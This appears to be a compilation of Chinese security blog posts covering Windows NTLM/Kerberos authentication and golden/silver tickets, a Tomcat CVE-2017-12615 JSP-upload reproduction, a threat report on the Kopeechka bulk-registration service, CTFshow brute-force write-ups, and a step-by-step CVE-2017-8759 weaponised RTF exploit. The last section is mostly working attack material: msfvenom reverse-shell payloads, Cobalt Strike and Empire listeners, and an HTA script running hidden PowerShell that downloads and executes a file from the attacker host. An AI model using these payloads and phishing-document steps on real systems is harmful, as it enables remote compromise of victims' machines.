0x01 为什么要理解windows 安全认证机制: 加深对后续各种漏洞利用的理解深度,还是那句话,要知其然,更要知其所以然,不废话,咱们直接开始 0x02 windows认证协议主要有以下两种: 基于ntlm的认证方式,主要用在早期的windows工作组环境中,认证的过程也相对比较简单 另一种是基于Kerberos的认证方式,主要用在域环境中,下面就这两种不同的认证方式做些简要的通信流程说明 0x03 关于ntlm认证流程简要说明,如下: 0x04 从图中我们可以清晰的看到,ntlm在域中的认证过程主要分为以下几步: 第一步,首先在client输入username,password和domain,然后client会把password hash后的值先缓存到本地 第二步,之后,client把username的明文发送给server(DC) 第三步,DC会生成一个16字节的随机数,即challenge(挑战码),再传回给client 第四步,当client收到challenge以后,会先复制一份出来,然后和缓存中的密码hash再一同混合hash一次,混合后的值称为response,之后client再将challenge,response及username一并都传给server 第五步,server端在收到client传过来的这三个值以后会把它们都转发给DC 第六步,当DC接到过来的这三个值的以后,会根据username到域控的账号数据库(ntds.dit)里面找到该username对应的hash,然后把这个hash拿出来和传过来的challenge值再混合hash 第七步,将(6)中混合后的hash值跟传来的response进行比较,相同则认证成功,反之,则失败,当然,如果是本地登录,所有验证肯定也全部都直接在本地进行了 0x05 关于ntlm的一点小结: 它是一种基于挑战(challenge)/响应(response)消息交互模式的认证过程,从整个认证过程来看,安全确实不怎么到位,也就是说入侵者只需要拿到一个系统管理员的hash,直接给dc认证就好了,反正账户名和域名都知道,早期的pass the hash (psexec)确实就是通过这种方式来进行的,如果本地管理员的账号密码相同,其实不用密码一样可以被认证,我们所要做的就是不断通过这种方式来尝试拓展内网的其他机器,直到控制整个域,但后来的kb2871997,似乎改变了一些现状,但也可能只是似乎 0x06 关于kerberos的一些概述: 相对于ntlm而言,kerberos的认证方式就要复杂的多,因为它提供了一个集中式的认证方式,在整个认证过程中总共要涉及到三方:客户端,服务端和KDC [Key Distribution Center 密钥分发中心], 在Windows域环境中,KDC的角色由DC(Domain Controller[域控])来担任,Kerberos是一种基于票据的认证方式,票据(Ticket)是用来安全的在认证服务器和用户请求的服务之间传递用户的身份,同时也会传递一些附加信息,用来保证使用Ticket的用户必须是Ticket中指定的用户,Ticket一旦生成,在生存时间内可以被Client多次使用来申请同一个Server的服务(票据窃取问题) 0x07 kerberos的大致工作流程: 说到这里,我们大概也能明白,域中的客户端要想访问同域中的某个服务器资源时,需要首先购买该服务端认可的票据,也就是说,客户端在访问服务器之前需要预先买好票,等待服务验票之后才能入场,但是这张票不能直接购买,还需要一张认购权证,也就是说客户端在买票之前需要预先获得一张认购权证,这张认购权证和进入服务器的入场券均有KDC发售,下面就以下图来做简要说明: 1)首先,客户端(client)将域用户的密码hash一次并保存,然后,以此hash来作为客户端和KDC之间的长期共享密钥[kc](当然,在DC上也保存着同样的一条hash) 2)之后,客户端(client)开始利用(1)中的域用户密码hash再把时间戳,clientid,TGS id等信息混合hash一次,然后向as(认证服务器 [Authentication Server])服务器进行请求 3)as接到该请求后,利用长期共享密钥(kc)进行解密,解密成功后,会返回给客户端两个票据 (1)加密的K(c,tgs)(用于客户端后续向KDC发起请求),TGS Name/ID,时间戳等,该票据由Kc加密 (2)票据授予票据(Ticket Granting Ticket,简称TGT),该票据是给TGS的,票据的内容包括K(c,tgs),Client身份信息,域名,时间戳等,该票据由TGS的秘钥加密,只有TGS能够解密 4)然后,客户端会利用长期共享密钥解密k(c,tgs),并利用该秘钥加密生成一个Authenticator,内容包括:lifetime,时间戳,Client身份信息等,连同从AS获取的TGT一并发送给TGS 5)TGS利用自身的秘钥解密TGT,获取K(c,tgs),并用K(c,tgs)解密客户端发送的Authenticator,对Client进行认证,如果Client通过了认证,TGS随机生成一个Session Key K(c,s),并产生两个票据 (1)服务票据(Ts):这是给服务器的服务票据,由Server秘钥Ks加密,内容包括:K(c,s),Client身份信息,Service ID,时间戳,lifetime等 (2)客户端票据(Tc):该票据由K(c,tgs)加密,内容包括:K(c,s),Server身份信息等 6)客户端收到tgs的回应后,利用K(c,tgs)解密Tc,获取K(c,s),Server身份信息等,并利用K(c,s)加密生成一个Authenticator发送给Server,内容包括:时间戳,Client ID等信息,连同Ts一并发送给Server 7)Server端在收到Client的请求后,利用自身秘钥Ks解密Ts,得到K(c,s),再利用K(c,s)解密Authenticator,对Client进行认证,如果认证通过,则表示KDC已经允许了此次通信,此时Sever无需与KDC通信,因为Ks为KDC和Sever之间的长期共享秘钥,如果在有效时间内,则此次请求有效 0x08 关于kerberos利用方法: 1) 黄金票据(Golden Ticket) 先假设这么一种情况,原先已拿到的域内所有的账户hash,包括krbtgt这个账户,由于有些原因导致域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务 2) 白银票据(Silver Ticket) 通过观察Kerberos协议的认证过程不难发现,如果我们获取了Server秘钥Ks(服务器口令散列值),就可以跳过KDC的认证,直接伪造票据和目标Server通信 0x09 关于黄金票据和白银票据的一些区别: 1)访问权限不同 Golden Ticket: 伪造TGT,可以获取任何Kerberos服务权限 Silver Ticket: 伪造TGS,只能访问指定的服务 2)加密方式不同 Golden Ticket 由Kerberos的Hash加密 Silver Ticket 由服务账号(通常为计算机账户)Hash加密 3)认证流程不同 Golden Ticket 的利用过程需要访问域控,而Silver Ticket不需要 小结: 这些其实都是域内渗透最基础的知识,所以觉得大家还是非常有必要多花点儿时间,好好深刻体会一下,另外,微软给我们的建议是,尽量们不要直接使用NTLM,而使用negotiate,如果使用的是negotiate,windows则会先判断kerberos是否可用,如果可用就优先使用kerberos,否则才会使用NTLM,kerberos的安全性确实要比NTLM要高很多
-
tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现
tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现 一、漏洞前言 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险 二、漏洞名称 CVE-2017-12615-远程代码执行漏洞 三、危害等级: 高危 四、漏洞描述: CVE-2017-12616:信息泄露漏洞 当 Tomcat 中使用了 VirtualDirContext 时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由 VirtualDirContext 提供支持资源的 JSP 源代码。 CVE-2017-12615:远程代码执行漏洞 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。 通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。 五、漏洞利用条件和方式: CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。 CVE-2017-12616漏洞需要在server.xml文件配置参数,经过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,需要手工添加,默认配置条件下不受此漏洞影响。 六、漏洞影响范围: CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80 CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.7 七、漏洞复现 姿势一:python脚本的复现 CVE-2017-12615漏洞复现: 1.测试环境为tomcat7.0.70 2.需要手动配置web.xml,开启http的put方法: 添加如下配置: <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> 3.通过CVE-2017-12615.py即可上传shell: 4.远程即可访问shell: 注意:其利用脚本已上传到我的github中,https://raw.githubusercontent.com/backlion/demo/master/CVE-2017-12615.py 姿势二:利用文件名后缀加::$DATA绕过上传 通过burpsuit抓包,上传拦截get改成PUT方法,然后上传: 姿势三:利用在上传文件名后缀名后加/可绕过上传 姿势四:通过在上传文件后缀名加上%20可绕过 姿势五:通过在上传文件名后缀加上.可绕过上传 八、漏洞修复建议 根据业务评估配置readonly和VirtualDirContext值为Ture或注释参数,临时规避安全风险; 官方已经发布Apache Tomcat 7.0.81 版本修复了两个漏洞,建议升级到最新版本。
-
攻击者利用Kopeechka创建大量账户发起大规模攻击
近年来,攻击者变得越来越专业,他们钻研技能,以求犯更少的关键错误,并创建了各种即插即用业务,帮助低技能的攻击者发起诈骗和攻击。 目前存在不同类型的攻击服务,包括恶意软件即服务,攻击者开发并向其他攻击者出售恶意软件服务,该服务还包括在被攻击的主机上创建和传播勒索软件等恶意软件类型。同时,其他服务需要使用多个社交媒体帐户才能成功进行,例如虚假信息、垃圾邮件和恶意软件传播。 事实上,攻击者在社交媒体平台上使用数千个账户发送数千条垃圾邮件并不罕见。但是他们是如何做到自动化的呢? 最近,Kopeechka服务出现,促进了依赖大规模社交媒体垃圾邮件的攻击活动。在俄语中,“kopeechka”的意思是“便士”。 该服务自2019年初以来一直活跃,为流行的社交媒体平台提供简单的账户注册服务,包括Instagram、Telegram、Facebook和X(以前的Twitter)。我们还注意到,针对未成年人的聊天网站可以通过Kopeechka进行注册。 本文介绍了Kopeechka服务,并对该服务的特性和功能进行了详细的技术分析,以及它如何帮助攻击者实现其目标。 社交媒体平台如何确保账户创建过程的安全 大多数社交媒体平台都采取了积极措施来加强账户创建的安全性。由于许多攻击者在社交媒体平台上创建账户用于非法活动,社交媒体公司为了将攻击者在其平台上的风险降至最低,故选择从账户创建过程开始。 有不同的安全措施来保护平台,防止欺诈账户的创建,例如: 1.电子邮件地址验证。注册时,用户需要证明所提供的电子邮件地址是否存在,这通常是通过代码确认完成的,其中用户通过电子邮件接收唯一的URL或代码。一旦他们选择这个链接或输入代码,他们的帐户就会被验证。 2.电话号码验证。这里的目标是迫使用户提供一个可以由社交媒体平台验证的真实电话号码,通常是通过发送一条带有用户需要在平台上输入的代码的文本消息。 3.验证码保护。尽管存在不同类型的captcha,但目标始终是相同的:验证用户是真人而不是机器人。通常情况下,用户需要回答自动解决程序无法回答的问题。 4.IP地址信誉。这里的目标是确定用户的IP地址是否干净,并且不是来自代理、虚拟专用网络(VPN)或任何其他匿名解决方案。 根据目标社交平台的不同,攻击者需要唯一的电子邮件地址、唯一的电话号码和无可疑的IP地址才能成功创建自己的账户。 虽然一些社交媒体平台使用验证码来阻止自动注册,但这并没有给攻击者带来很大的障碍,因为现在存在不同的服务,允许攻击者以自动方式绕过验证码。IP地址检查服务也是如此,因为攻击者可以使用住宅代理绕过这些措施。 因此,攻击者可以使用自动脚本绕过验证码和IP地址信誉检查工具。但是,他们仍然需要一个有效的电子邮件,可能还需要为他们想要创建的每个帐户提供一个电话号码,这就需要用到Kopeechka了。 Kopeechka运行过程 Kopeechka不提供电子邮件收件箱的访问权限,但它可以访问从社交媒体平台收到的电子邮件。该服务的设计使邮箱帐户仍然由Kopeechka控制,而不是由任何第三方用户控制。 Kopeechka提供两种不同类型的电子邮件:使用自己域名的电子邮件地址,以及托管在更受欢迎的电子邮件托管服务上的电子邮件地址。 Kopeechka表示它当前库存的有效电子邮件数量,如表1所示: 截至2023年5月底,Kopeechka库存的有效电子邮件地址数量 目前,这些电子邮件地址要么是由Kopeechka使用者自己创建的,要么可能是被攻击的电子邮件收件箱。Kopeechka还购买电子邮件帐户,如下图所示: Kopeechka购买电子邮件地址可能用于非法用途 在撰写本文时,该服务还提供了托管在其拥有的39个域名中的几个电子邮件地址。 Kopeechka的电子邮件域名 Kopeechka(图2)与流行域名(表1)的定价不同,后者比前者更昂贵(在撰写本文时,Kopeechka域名的成本为0.05卢布或0.0005美元,一些流行域名的成本高达卢布1或0.01美元)。 Kopeechka是如何工作的? Kopeechka为其客户提供web界面和API Kopeechka的网络界面,如Kopeechka的宣传视频所示 如上图所示,web界面允许用户使用购买的电子邮件地址轻松创建社交媒体帐户,而API使用户更容易自动创建多个社交媒体帐户。 对于Kopeechka目前还无法搜索的社交媒体平台,用户可以使用Kopeechka的API。 用户如何通过使用Kopeechka API在新的社交媒体平台上获得一个有效的帐户 下载 所有这些过程都可以完全自动化,这可以让攻击者在几秒钟内创建数百个甚至更多的账户,只要他们的Kopeechka账户里有足够的钱。 无法访问实际的邮箱 Kopeechka实际上不提供访问实际邮箱的权限。当用户请求邮箱创建社交媒体帐户时,他们只能获得电子邮件地址参考和包含确认码或URL的特定电子邮件。这对于Kopeechka服务至关重要,因为它允许Kopeechka使用者使用一个电子邮件地址在不同的社交媒体平台上进行多次注册,如下图所示: 在不同的社交媒体平台上多个用户可以使用一个唯一的电子邮件地址创建账户 短信的作用 某些社交媒体平台还包括一个帐户验证步骤,需要一个电话号码,他们将使用该电话号码发送包含唯一代码的短信,用户需要在平台上输入代码才能成功注册。 为了解决这个问题,Kopeechka允许用户从16种不同的在线短信服务中进行选择。与它的所有服务一样,Kopeechka提供了视频教程,以及每种服务的描述及其工作原理。 Kopeechka与16种不同的在线短信服务合作 Kopeechka的市场营销和客户服务 除了宣传其服务外,Kopeechka还通过不断与用户沟通和提供服务发生的任何事情(包括网络问题和bug通知)的透明度来培养客户忠诚度。Kopeechka提供提示,完整的教程,甚至补偿它的客户。 Kopeechka使用者与他们的客户就最近修复的漏洞进行了沟通,并为客户的损失提供了赔偿。 总而言之,Kopeechka似乎在处理客户沟通方面采取了专业的方法,它使用了一种名为Bitrix24的客户关系管理(CRM)工具来满足其销售、营销和项目管理需求。Kopeechka使用该软件的原因可能是,Bitrix24每个客户使用了一个子域,我们发现了一个现有的“kopeechkstore . Bitrix24 .ru”子域,该子域至少自2019年以来一直活跃。 Kopeechka还提供在线视频、常见问题解答(FAQ)和描述该服务如何工作的专用页面。客户可以在该平台的客户培训中心这里测试自己的账户创建和日志记录技能这让用户可以免费试用这项服务。 培训中心主页的英文截图 Kopeechka还提供了一个正则表达式测试平台,它可以更好地匹配电子邮件中的文本,以防用户订阅特殊的服务。 与其他俄罗斯在线服务合作 对于那些想要自动化账户注册过程,但又不熟练使用API的用户,Kopeechka鼓励他们使用第三方俄罗斯服务ZennoPoster,该服务自2011年以来一直很活跃。 Kopeechka鼓励用户使用ZennoLab,并将给他们5%的退款,ZennoPoster是ZennoLab的产品。 ZennoPoster允许用户通过像脚本一样在浏览器上执行多次操作来自动执行浏览器操作,Kopeechka用户可以使用ZennoPoster作为自动注册系统。 ZennoPoster工具用于自动浏览操作的屏幕截图 几个在线话题解释了如何使用ZennoPoster和Kopeechka在不同的社交媒体平台上注册帐户,其中一个示例是使用ZennoPoster和Kopeechka在俄罗斯约会网站“mylove.ru”上创建一个帐户。 Kopeechka提供了使用ZennoPoster注册mylove.ru帐户的支持 ZennoPoster的开发者ZennoLab销售数十种与社交媒体平台和其他在线网站互动相关的自动化任务。其中一个自动化任务是X(以前的Twitter)的脚本,它将通过X帐户并向其所有关注者发送消息。因此,这个帐户可以用来发送垃圾邮件。 ZennoLab还提供其他可能被攻击者滥用的产品 ZennoLab也有CAPTCHA识别和代理搜索或检查服务。 值得注意的是,Kopeechka鼓励用户使用ruCaptcha验证码解决服务,并提供5%的退款。 Kopeechka通过提供5%的退款来推广RuCaptcha服务 Kopeechka还为开发者和用户提供了一个协作计划。虽然在软件中使用Kopeechka API的开发者可以获得销售额的10%,但通过附属链接说服更多人使用Kopeechka的用户可以获得每个新用户在Kopeechka上消费金额的10%。 上传二手邮件的用户也将获得邮件销售额的一定提成。 Kopeechka的附属项目 Kopeechka在地下论坛的活动 在地下论坛宣传这项服务 自2019年2月成立以来,Kopeechka一直在宣传自己的服务,每次更新后,Kopeechka都会定期更新其在攻击者论坛上的广告线索。 攻击论坛上Kopeechka更新的帖子 目前,Kopeechka的俄语Telegram频道有大约1000名订户,英语Telegram频道有440名订户。 寻找漏洞 除了在攻击者的地下论坛上做广告外,Koppechka的使用者似乎也对寻找漏洞很感兴趣。可以在不同的论坛上看到很多使用Kopeechka这个名字的人,他们对利用漏洞进行攻击很感兴趣。在许多论坛上,攻击者只与那些回复相关主题的人分享内容,这使得识别Kopeechka使用者感兴趣的内容变得容易。此外,Kopeechka使用者有时也会就这些论坛上宣传的产品或服务提出问题。 2022年6月,一名用户在论坛上发布了一则广告,介绍了一个据称可以绕过Gmail的漏洞。一位名为kopeechka的用户在2023年3月回复了关于这个漏洞的问题,并询问它是否仍然是最新的。 在另一个论坛上,一位名叫Kopeechka的用户回复了关于如何破解包括Spotify、Netflix、Steam在内的社交媒体账户的帖子,以及关于使用Black Bullet和一款名为OpenBullet的免费网络测试软件的帖子。 2020年,Kopeechka使用者还在一个论坛上发帖,请求帮助制作“一批不广泛使用的文件,其保护与文凭大致相同”。虽然不知道他们想要提供什么样的文件,但这个请求很可疑,因为它背后的目的可能是提交虚假文件,以满足各种服务提供商或管理部门的要求。 Kopeechka的用途 Kopeechka几乎可以用于任何需要处理帐户注册的服务。 在调查最近的一次大规模加密货币骗局时,我们报告了对Mastodon社交网络的滥用,突然发现数百个新账户被创建,向Mastodon用户推广虚假加密货币网站。Brian Krebs在今年早些时候讨论了Kopeechka服务是如何被用来大规模注册Mastodon账户的。 Mastodon 是一个免费的开源社交网络程序,一个商业平台的替代方案,避免了单个公司垄断你沟通的风险。选择你信任的服务器,无论选择的是哪个,你都可以与其他人进行互动。 机器人还使用Kopeechka来轻松创建帐户。目前已经可以看到通过Kopeechka API创建社交媒体帐户的代码,包括Discord, Telegram和Roblox帐户的脚本。 在线提供一个Discord帐户生成器代码 Kopeechka上的一个自动kick.com帐户生成器 一名攻击者以每月50美元的价格出售在Kopeechka创建的Reddit账户 出售使用Kopeechka创建的coinmarketcap(加密货币市场网站)账户,售价150美元 此外,发现的可用于创建VirusTotal帐户的Python脚本,表明一些用户可能会注册这些帐户以测试恶意软件检测。 根据观察,Kopeechka越来越受攻击欢迎,在其上面买卖更有保障。 官方的Kopeechka API本身是大规模提供的,允许它集成到任何类型的代码中。它存在于大多数开发人员的平台上,包括Python包索引(PyPI)、NuGet、GitHub和npm。 总结 Kopeechka的服务可以提供一种简单而实惠的方式来大规模创建在线账户,这对攻击者很有帮助。Kopeechka的客户使用这项服务可以轻松创建大量账户,而无需短信和电子邮件验证。 虽然Kopeechka主要用于创建多个账户,但攻击者也可以使用它来为自己的活动增加一定程度的匿名性,因为他们不需要使用自己的电子邮件地址在社交媒体平台上创建账户。 为此,只有电子邮件服务提供商共同协作,加强他们的注册流程,才能解决Kopeechka问题。不过,这一努力可能通过人工智能来实现,人工智能可以提供检测自动账户注册的方法。
-
[CTFshow]Web爆破章节之[25-28]笔记
前言 接上回章节 Web25 没想到都是随机种子的爆破… 传入r用0-随机生成的种子 如果设置的cookie等于第二次和第三次随机种子之和则输出flag 下载Php随机种子爆破包https://www.openwall.com/php_mt_seed/php_mt_seed-4.0.tar.gz 编译一下 如果出错了在前面需要加#include <sys/times.h>头文件 make #编译 先给他随机传参 检查一下php版本是7.1+ 我们找个7.1+版本 编写脚本(注意这个种子可能需要爆破多次,所以这里只是提供一个方法)我尝试多个种子爆破 <?php mt_srand(1064029812); echo mt_rand()."\n"; $result = mt_rand()+mt_rand(); echo $result; ?> 我们复制第二次的种子 这里cookie传入的token需要是第一次和第二次的种子之和 我们使用我们的cookie-Editor进行写入token 下一步进行传参r进入循环 Web26 打开一看需要安装 这里数据库的信息CTFshow都给我们了 但是连接是失败的所以需要爆破 需要爆破密码 用他们给的字典并没有爆破出来 我们查看发送到重放器里查看一下逻辑 发送之后给了一串utf-8编码 解码后原来是数据库连接失败啊,有点尬 这里我发现 如果不填点击开始安装是可以连接成功的 我们不填去发送 flag就出了 Web27 打开一看是个管理系统 但是需要登录进去 这里给出了录取名单以及学生学籍信息查询系统 我们下载进行查看一波 可以看到这里给的身份证号是给隐藏的所以我们需要爆破身份证号 编写python脚本(借鉴别人的,这里身份证的组成原理是需要研究一下的, id_head = 621022 id_reap = 5237 year = 1989 with open('id.txt', 'w') as fp: for i in range(year, 1991): for month in range(1, 13): for day in range(1, 32): if day < 10 and month < 10: id = str(id_head) + str(i).zfill(2) + str(month).zfill(2) + str(day).zfill(2) + str(id_reap) + "\n" elif day < 10: id = str(id_head) + str(i).zfill(2) + str(month).zfill(2) + str(day).zfill(2) + str(id_reap) + "\n" elif month < 10: id = str(id_head) + str(i).zfill(2) + str(month).zfill(2) + str(day) + str(id_reap) + "\n" else: id = str(id_head) + str(i).zfill(2) + str(month) + str(day) + str(id_reap) + "\n" fp.write(id) 生成了 让后我们去抓包爆破 这里看到第404个爆破出来了 Web28 这里打开一看什么也没有 这里发现他是301强制跳转 也就是说访问http://5ab14198-de2b-4ad2-bfa8-0b8d3ce6c1ac.challenge.ctf.show会跳转到http://5ab14198-de2b-4ad2-bfa8-0b8d3ce6c1ac.challenge.ctf.show/0/1/2.txt 我们需要找到他们的主文件index.php所在的目录 index是网站的首页 爆破的就是目录0 1 我们用php编写一个0-100的数字去复制他 <?php for($i=0;$i<=100;$i++){ echo $i."\n"; } ?> 复制到txt中 进行抓包选择集束炸弹模式 线程我设置的是10,开始爆破 OK 解决
-
微软.NET Framework cve-2017-8759 复现
0x00 漏洞前言 FireEye公司最近发现一份恶意微软Office RTF文档,其中利用到一项SOAP WSDL解析器代码注入漏洞——编号CVE-2017-8759。该漏洞允许恶意人士在解析SOAP WSDL的定义内容期间注入任意代码。FireEye公司对该微软Office文档进行了分析,并发现攻击者能够利用代码注入方式下载并执行一份包含PowerShell指令的Visual Basic脚本。 0x01 漏洞复现 方法一:通过cve-2017-8759_toolk反弹msf 测试环境: 目标靶机:win7x64 office2010(只能在office2010以上执行才能成功) ip:10.0.0.89 攻击机:kali2016 ip:10.0.0.86 在kali上执行: 1.下载cve-2017-8759_toolkt利用poc root@backlion:/opt# git clone https://github.com/bhdresh/CVE-2017-8759.git 2.进入到cve-2017-8759目录中 root@backlion:/opt# cd CVE-2017-8759/ root@backlion:/opt/CVE-2017-8759# ls 3.执行生成恶意的rtf文档 root@backlion:/opt/CVE-2017-8759# python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://10.0.0.86/logo.txt 4.执行生成恶意的后门文件shell.exe,本地监听4444端口 root@backlion:/opt/CVE-2017-8759# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.0.0.86 LPORT=4444 -f exe > /tmp/shell.exe 5.开启web服务并监听来自访问 root@backlion:/opt/CVE-2017-8759# python cve-2017-8759_toolkit.py -M exp -e http://10.0.0.86/shell.exe -l /tmp/shell.exe 6.接着开启msf,并设置本地监听地址和监听端口以及payload msf > use exploit/multi/handler msf exploit(handler) > set payload windows/x64/meterpreter_reverse_tcp msf exploit(handler) > set lhost 10.0.0.86 msf exploit(handler) > set lport 4444 msf exploit(handler) > exploit sessions -i 1 最后将Invoice.rtf文档拷贝或者发送等方式到目标靶机上并执行,就可以成功反弹出shell: 方法二:利用cobaltstrike复现 测试环境: 目标靶机:win7x64 office2016(只能在office2010以上执行才能成功) ip:10.0.0.201 攻击机:kali2016 ip:10.0.0.86 1.启动cobaltstrike服务端: root@backlion:/opt# cd cobaltstrike/ root@backlion:/opt/cobaltstrike# ./teamserver 10.0.0.86 backlion 2.启动cobaltstrike客户端: root@backlion:/opt/cobaltstrike# java -jar cobaltstrike.jar 3.设置一个Listener(Cobal Strike = > Listener => add),添加一个HTTPS的监听器,端口为443 4.下载CVE-2017-8759,并将cmd.hta重名为cmd.jpg然后修改里面的内容,主要修改里面的IP地址,然后修改后的cmd.jpg拷贝到kali主机上的/opt目录下。我这里已经修改好了,可到我的github下载。其下载地址:https://raw.githubusercontent.com/backlion/demo/master/CVE-2017-8759-master.zip 主要poc: <html> <head> < script language="VBScript"> Sub window_onload window.resizeTo 0,0 window.MoveTo -100,-100 const impersonation = 3 Const HIDDEN_WINDOW = 12 Set Locator = CreateObject("WScript.Shell") Locator.Run"powershell.exe -nop -w hidden -c ""IEX (new-object net.webclient).downloadstring('http://10.0.0.86/bk.exe')""",0,FALSE window.close() end sub </script> <!-- <script language="VBScript"> Sub window_onload const impersonation = 3 Const HIDDEN_WINDOW = 12 Set Locator = CreateObject("WbemScripting.SWbemLocator") Set Service = Locator.ConnectServer() Service.Security_.ImpersonationLevel=impersonation Set objStartup = Service.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ Set Process = Service.Get("Win32_Process") Error = Process.Create("powershell.exe -nop -w hidden calc.exe", null, objConfig, intProcessID) window.close() end sub </script> --> </head> 5.另外也需要修改exploit.txt里面的IP地址,修改后也要上传到kali的/opt目录下。 6.设置Web Drive功能并添加cmd.jpg Attacks=>Web Drive-by=> HOST file 7.设置Attacks=>Web Drive-by=> HOST file 8.生成木马Attacks=>Web Drive-by=> Script Web Delivery 9.点击Attacks=>Web Drive-by=> mange,查看当前设置: 10.制作trf文档,打开office,本人装的是win7,所以是office2016,插入对象为:http://10.0.0.86/exploit.txt,并保存成为test.rtf 11.在test.rtf中用记事本打开并查找找到 {\object\objautlink\rsltpict\objw4321\objh4321这一部分,替换修改为:{\object\objupdate\objautlink\rsltpict\objw4321\objh4321。其目的是让word自动更新加载poc. 12.用C32Asm静态反编译工具以16进制打开并编辑修改blob.bin 然后修改为:http://10.0.0.86/exploit.txt,利用小葵工具将其转化为16进制,去掉0x,最终为: 68007400740070003A002F002F00310030002E0030002E0030002E00380036002F006500780070006C006F00690074002E00740078007400 通过查找替换16进制进行修改: 拷贝--hex格式出: 680074007400700073003A002F002F0078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078000000000000000000 替换为: 68007400740070003A002F002F00310030002E0030002E0030002E00380036002F006500780070006C006F00690074002E00740078007400000000000000000000000000000000000000000000000000 然后保存,并在kali查看是否生成正确的地址 13.将生成好的blob.bin以16进制打开,然后全选--拷贝--hex拷贝 粘贴处所有的十六进制替换掉test.rtf里面的从: }{\*\objdata开始到}{\result之间的所有数据,并保存文件 14.将替换好的test.rtf文件传输或者发送到目标靶机windows7主机上,并打开执行。 15.即可在cs中反弹出shell出来: 方法三:通过empire复现漏洞 测试环境: 目标靶机:win7x64 office2016(只能在 office2010 以上执行才能成功) ip:10.0.0.201 攻击机:kali2016 ip:10.0.0.86 1.采用最新版本emprie2.1进行测试,这里分别设置了监听地址名为http,生成hta恶意代码。 (Empire) > listeners (Empire: listeners) > uselistener http (Empire: listeners/http) > execute (Empire: listeners/http) > back (Empire: listeners) > help (Empire: listeners) > usestager windows/hta (Empire: stager/windows/hta) > set Listener http (Empire: stager/windows/hta) > execute 2.将生成的hta代码保存为cmd.jpg文件。 3.修改exploit.txt里面的地址,这里改成我的攻击机kali的ip地址。 3.将修改好的cmd.jpg和exploit文件放在同一目录www文件中,然后执行python的web启动服务命令,这里监听端口为8000 3.生成钓鱼rtf文档,这里在新建的word文件中插入一个对象为:http://10.0.0.86:8000/exploit.txt,然后保存为test.rtf文件 4. 在 test.rtf 中用记事本打开并查找找到 {\object\objautlink\rsltpict\objw4321\objh4321 这一部分,替换修改为: {\object\objupdate\objautlink\rsltpict\objw4321\objh4321 5. 用 C32Asm 静态反编译工具以 16 进制打开并编辑修改 blob.bin 然后修改为:http://10.0.0.86:8000/exploit.txt,利用小葵工具将其转化为 16 进制, 去掉 0x,最终为: 68007400740070003A002F002F00310030002E0030002E0030002E00380036003A0038003000300030002F006500780070006C006F00690074002E00740078007400 通过查找替换 16 进制进行修改: 拷贝--hex 格式出: 680074007400700073003A002F002F007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800000000000000000000000000000000000000000000000000 替换为: 68007400740070003A002F002F00310030002E0030002E0030002E00380036003A0038003000300030002F006500780070006C006F00690074002E00740078007400000000000000000000000000000000000000000000000000000000000000 然后保存,并在 kali 查看是否生成正确的地址 6.将生成好的 blob.bin 以 16 进制打开,然后全选--拷贝--hex 拷贝 粘贴处所有的十六进制替换掉 test.rtf 里面的从: }{\*\objdata 开始到}{\result 之间的所有数据,并保存文件 7..将替换好的 test.rtf 文件传输或者发送到目标靶机 windows7 主机上,并打 开执行。 8..即可在empire中可以获取反弹shell: (Empire: stager/windows/hta) > interact 4X3CYAKB (Empire: 4X3CYAKB) > shell ipconfig 0x02 漏洞影响 .NET系列产品的远程代码执行(RCE)并进一步控制系统 以下.NET版本 Microsoft .NET Framework 4.6.2 Microsoft .NET Framework 4.6.1 Microsoft .NET Framework 3.5.1 Microsoft .NET Framework 4.7 Microsoft .NET Framework 4.6 Microsoft .NET Framework 4.5.2 Microsoft .NET Framework 3.5 Microsoft .NET Framework 2.0 SP2
-
苹果USB低级过滤器,可帮助控制操作系统使用USB配置(下)
